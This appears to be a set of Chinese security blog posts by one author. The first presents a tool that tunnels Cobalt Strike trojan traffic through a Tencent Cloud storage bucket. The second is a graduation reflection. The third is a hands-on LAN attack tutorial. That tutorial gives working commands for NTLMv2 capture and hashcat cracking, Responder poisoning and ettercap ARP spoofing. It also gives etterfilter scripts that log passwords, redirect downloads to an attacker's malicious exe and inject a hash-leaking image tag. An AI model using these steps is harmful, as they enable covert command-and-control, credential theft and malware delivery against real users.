前言
项目地址:9bie/oss-stinger
前有云函数,域前置,辣么现在当然也要整个oss上线辣。然而实际整出来,优势也没想象中的辣么大,可能唯一优点就是部署方便?
原理很简单,直接就是一个http中继,本地起一个http,然后把cs的上线地址设置为本地,然后另外一头,再服务器部署一个获取器,把oss上客户端发来的http请求下载回来,转发给cs服务器,然后拿到cs服务器的请求,再转发到oss上给客户端,然后客户端再转发给cs beacon,就完事了。
如何使用
.\oss-stinger.exe
-address string
监听地址或者目标地址,格式:127.0.0.1:8080
-id string
输入你的腾讯云SecretID
-key string
输入你的腾讯云SecretKey
-mode string
client/server 二选一
-url string
输入你腾讯云OSS桶的url地址
首先,现在cs生成一个http的listen,并把host都改成127.0.0.1,然后生成木马

然后再把Host改会公网IP(这步很重要)
然后去腾讯云,申请一个oss桶。拿到URL

然后再去 https://console.cloud.tencent.com/cam/capi 拿到SecretKey和SecretID。
然后就可以使用我们的工具了,先在客户机上起一个转发器,使用命令
oss-stinger.exe -mode client -url oss桶的url地址 -address 127.0.0.1:端口 -id 腾讯云SecretID -key 腾讯云SecretKey
然后服务器运行
oss-stinger.exe -mode server -url oss桶的url地址 -address 127.0.0.1:端口 -id 腾讯云SecretID -key 腾讯云SecretKey
然后在客户机双击你的木马,就能上线了

前言
今天毕业典礼,然而却没有我。。。。好吧其实只是我单纯的懒得回学校而已。毕业证和学位证都拿到了,还没到我的手上,等同学帮我寄回来。之前还有点担心自己能不能毕业,毕竟院里一声不吭,虽然说每科都过了,但是就怕漏了那一两门是不是?好在最后虽然破比学院一声不吭,但是它证还是会发的。今天顺利拿到了两证心里也是一块大石头落地了。
四年时光是短暂的,好吧其实我现在还以为自己停留在2020年,从2020年之后,每年的世界感觉过得飞快。特别是大二,完全没有渡过的记忆,因为都是在家,来的时候就大三了。
不过也正是大二那年,让我计算机实战水平有了突飞猛进的进步,虽然说感觉现在还是非常的菜,但是感觉和18年刚进大学的时候比起来又好那么一点点?
不过想来,我这个高中文凭都没有的人,竟然能混出个大学文凭,也是挺有意思的。上大学之前我妈都明确告诉我,一定得混一个出来。不然我就是个初中文凭了。那时候我还不理解是什么意思,结果就这么被我快快乐乐的玩了四年玩了过来。
说起玩的这四年,感觉和群友相比确实一个天一个地,别人都是卷卷卷,而我就是玩玩玩,除开大一,基本就是琴房宿舍教学楼,其中宿舍待得最多,基本都是在玩电脑。看群里每天都在哀嚎卷卷卷,或者就是现充每天吃喝玩乐四处逛逛,感觉属实是两个世界。不过也挺好的,至少我过的挺快乐不是?
不过其中感觉疫情+网课占了很大比例,对于别人来说网课确实是影响效率的东西,但是对于我这种纯摸鱼王来说网课简直就是摸鱼神器,特别是学习通,啊,梦中签到,梦中上课,梦中考试,梦中挂科了属于是(指我因为一整个学期都用自动签到没听过一节课导致不知道考试日期错过考试这回事)。让我这个纯纯懒狗懒上+懒,基本就是一天18小时高强度上网了。
对于学校来说,其实并没有什么好留恋的,当初上这个专业基本也就是图的个大学文凭。虽然有过一段时间的迷茫期,犹豫要不要真的靠大学学的这个专业吃饭。不过最后还是败给了兴趣。所以对于学校来说,并没有什么留恋。
当然也许只是现在并没有啥留恋?毕竟人是个缅怀过去的生物,但是你让我现在一个心野一心想出去闯荡一番的孩子问想不想要回家我也不能假惺惺的回答想回家是吧?
大学之后去干什么?我的想法无非就是换一个地方继续玩电脑,毕竟小学就开始玩电脑,初中也在玩,高中一直都在玩,甚至到了大学,基本都在玩这台电脑。从脚本小子到程序员再到立志当一名带嘿阔,盗取无数QQ号,写出一个属于自己的熊猫烧香,就是当初的梦想。
虽然早就到完成了当初学习这门技术时候的梦想,甚至比当初的梦想还要遥不可及。但是走到这一步,也愈发发现自己的菜和水平低下目光短浅。
大学四年给我带来最有价值的是什么?确实四年间我拥有了比之前都富裕的时间研究电脑,让我电脑水平确确实实的突飞猛进。但是最有价值的估计是给了我一份让我某天玩不动电脑了,能安心继续活下去养老用的备用技能吧。毕竟咱也是确确实实到过学校当过老师的人了,没准哪天,你们就能看到鳖老师在音乐课上放着音乐开着黑框框说对着台下一群不明所以的学生表演着他那三脚猫功夫。也不知道有没有哪个懵懂的少年少女那时候会被这无聊过时的技术吸引走上一条同样的带黑阔之路(笑)。
前言
好几次的情况下,打下了办公机,和服务器内网不同的是,办公网中,除了极少数的用户机器会有运行一切奇奇怪怪的服务,包括但不限于EveryThink(那个搜索程序叫啥我忘了),向日葵啊,或者各种奇奇怪怪一些RMI,也只有一些开发机才会有跑些web。
但是大部分时候,大部分机器就是一个沉默术士,一看80,啊,没开,3389,啊,没开,开了啥?445,135,139没了,怎么办?这时候我们除了使用,啊,MS08-067,MS17-010,19-0708(基本都蓝),这些,如果这些都没有,估计大部分时候只能干瞪眼了。
这就是现在的,过于注重web而忽略了传统艺能。我记得早在我初中的时候,那群黑阔天天玩的就是这些,什么水滴,什么奶瓶,什么BT5什么ettercap进行劫持啥的,什么明教教主BT5学习使用。当初觉得阿这玩意阿怎么感觉没有什么卵用阿哪里有人会傻傻的给你劫持。现在不都是打web阿打数据库阿打服务什么的嘛。
现在想来还是当时的我太naive了。那时候的内网环境和现在的内网环境还是有很大差别的。
极简模式
简单方式,如果你直接日下路由器。无论用什么方法,直接监听445端口,并捕获为pcap。

监听一段时间,可以使用 NTLMRawUnHide 项目来从pcap中提取ntlmv2。直接运行:python .\NTLMRawUnHide.py -i .\b.pcap

然后,我们要找的就是类似于
test::DESKTOP-K6CQSK4:c42c85ec072f126d:295a6b646463dd1cdb99baa88513174b:01010000000000004308b7d1045bd8014d2895bd5d65fd940000000002001e00570049004e002d00460038004600450054004c004400540049004f004a0001001e00570049004e002d00460038004600450054004c004400540049004f004a0004001e00570049004e002d00460038004600450054004c004400540049004f004a0003001e00570049004e002d00460038004600450054004c004400540049004f004a00070008004308b7d1045bd801060004000200000008003000300000000000000001000000002000005665c49fa02134c71e7c11a593461da9cda996aebf9f9b6e9e1d74175dfb57400a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0032002e003100380030000000000000000000
这样的一段内容,提取出来,保存为txt文件,我们就可以使用hashcat爆破了。我们这里假设保存为ntlmv2.txt。
然后使用hashcat,执行hashcat.exe -m 5600 ntlmv2.txt -a 3 ?l?l?l?l?d?d?d --force
这里我使用的是掩码爆破,因为只是为了测试,实际情况请自行选择字典或者其他掩码。

可以看到,对于这种弱口令,基本1秒就爆破出来了正常情况下,和服务器环境不同,工作组计算机并没有密码策略要求,所以密码通常不会太复杂,基本都是 单词+生日数字,甚至纯数字为主,所以基本都挺好爆破的。当然前提还是得抓取到ntlmv2。
下次遇到什么飞塔防火墙啊,就可以靠这些去打里面的机器了.jpg
极简模式II:使用responder
直接在kali中,运行responder -I eth0 -w,responder会自动在局域网内使用LLMNR和NetBiOS等协议进行应答。
具体体现在
链路局部范围内每台支持LLMNR,并且被配置为响应传入查询的主机在收到这个查询请求后,会将被查询的名称和自己的主机名进行比较。如果没有找到匹配的主机名,那么计算机就会丢弃这个查询。如果找到了匹配的主机名,这台计算机会传输一条包含了自己IP地址的单播信息给请求该查询的主机。
而responder原理就是无论收到是啥,都应答这个LLMR响应,导致客户以为这个主机是存在的。
当我们的目标在计算机内输入了一个没有人应答的主机名,这时候我们的responder就会自动应答,让客户机以为我们是他想请求的机器,并发送凭证,这时候我们就抓到了他们的ntlmv2了。

然而这个方法有个非常大的局限性就是必须要目标手动输入不存在的主机名,然而一般情况下谁会乱输入主机名啊。除非在渗透过程中已经进入了内网,同时使用钓鱼的方式在目标中插入暗桩,例如文件加载资源等,或者类似于在内网打下的服务器中插入XSS,自动加载UAF路径等。但是这就不是0click了。而主动等待用户输错又是天方夜谭。所以此时我们就需要主动出击。
主动出击:ETTERCAP内网嗅探与劫持
这时候就可以掏出我们的传统异能工具,ettercap和arpspoof之类的劫持工具了。ettercap的攻击原理就不过多阐述。攻击方法基
使用ettercap能达成类似与路由器那样直接tcpdump分析内网的数据包的类似操作。但是如果可以,能打到路由器还是最好还是先打路由器。
毕竟arp劫持在现在环境下,随随便便一个杀软就能挡住并且能提醒,直接从无感攻击变成有感攻击,导致管理员发现任务失败直接GG。
所以我们的思路就是打下路由器,然后就能进行一些更高阶的操作,或者直接嗅探HTTP文件,把文件替换成我们的木马等。
直接运行sudo ettercap -i 网卡 -T -M arp:remote /目标内网机器IP// /内网网关// ,这样我们就可以看到目标机器的所有流量了

这时候有流量了,可以选择嗅探cookies或者是嗅探密码。这时候我们就需要用到etterfilter,用于选出我们想要的流量。
直接查看一个文档 etterfilter - linux man,直接进行一个仿写,我们也不做其他的,直接把他们包含Cookies和user
if ( tcp.src == 80 || tcp.dst == 80) {
if (search(DATA.data,"password")) {
log(DATA.data, "/tmp/tmp.log");
}
}
上面是保存http中带有password的,甚至可以把第一句tcp.src == 80也给删了,只保留我们发往远程的请求,因为一般登录的时候是我们发给用户,把上面这些保存为a.filter,然后执行etterfilter a.filter -o a.ef就会生成一个ef文件,然后使用sudo ettercap -i eth1 -T -q -F a.ef -M arp:remote /目标ip// /网关ip//,就可以开始嗅探http请求的明文流量了。

或者,可以进行一个下载文件的替换。直接贴一个网络上找来的脚本
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, “Accept-Encoding”)) {
replace("Accept-Encoding", "Accept-Mousecat");
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("keep-alive", "close" );
replace("Keep-Alive", "close" );
}
if (ip.proto == TCP && search(DATA.data, ": application") ){
msg("found EXE\n");
if (search(DATA.data, "Win32")) {
msg("doing nothing\n");
} else {
replace("200 OK", "301 Moved Permanently
Location: http://你的恶意exe/setup.exe");
msg("redirect success\n");
}
}
这个代码是直接替换下载EXE地址302到我们的恶意文件地址,缺点是下载后别人看到下载地址是直接显示你的而已exe地址,高级一点的可以直接在下载原始exe过程中,直接把它的exe流数据替换成我们的恶意exe数据流。再高级一点的甚至可以直接在exe流中插入shellcode然后修改入口点。。当然这个过于复杂也没什么必要就是了。
以上两种方式虽然都挺好用,但是如果目标们就是tmd不访问路由器或者不下exe怎么办呢?
配合我们之前使用的responder,只要在http流量中插入内网的UAF地址,然后使用responder进行一个LLMNR欺骗甚至使用smbreplay,诱导用户发送他们自身的ntlmv2,不是就能达到我们想要的效果了?
直接对fileter修改
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding","Accept-AAAA");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("head>", "head> <img src=\"\\\\fake_hostname\\pixel.gif\"> ");
}
然后等待发送ntlmv2即可。。然而如今的正常浏览器都会遇到Not allowed to load local resource,并不允许自动加载。。也只有某些垃圾浏览器或者远古浏览器,比如IE或者一些webview才会自动引用这些然后发送ntlmv2了。
结语
和Web服务不同,在面对工作组计算机中,除了MS17这类暴力服务洞。我们只能从主动进攻慢慢变成了一个默默的被动等待者。蛰伏在局域网下收集数据等待机会。然而随着安全技术的发展,我们主动出击的手段越来越少,ARP攻击如今只要是个杀软就能防御,默认https,允许http的站点越来越少导致攻击越来越难。甚至浏览器同源策略不允许自动加载本地文件导致ntlmv2发送不出来等等因素,这可能也是导致内网mitm越来越淡出我们视野的原因。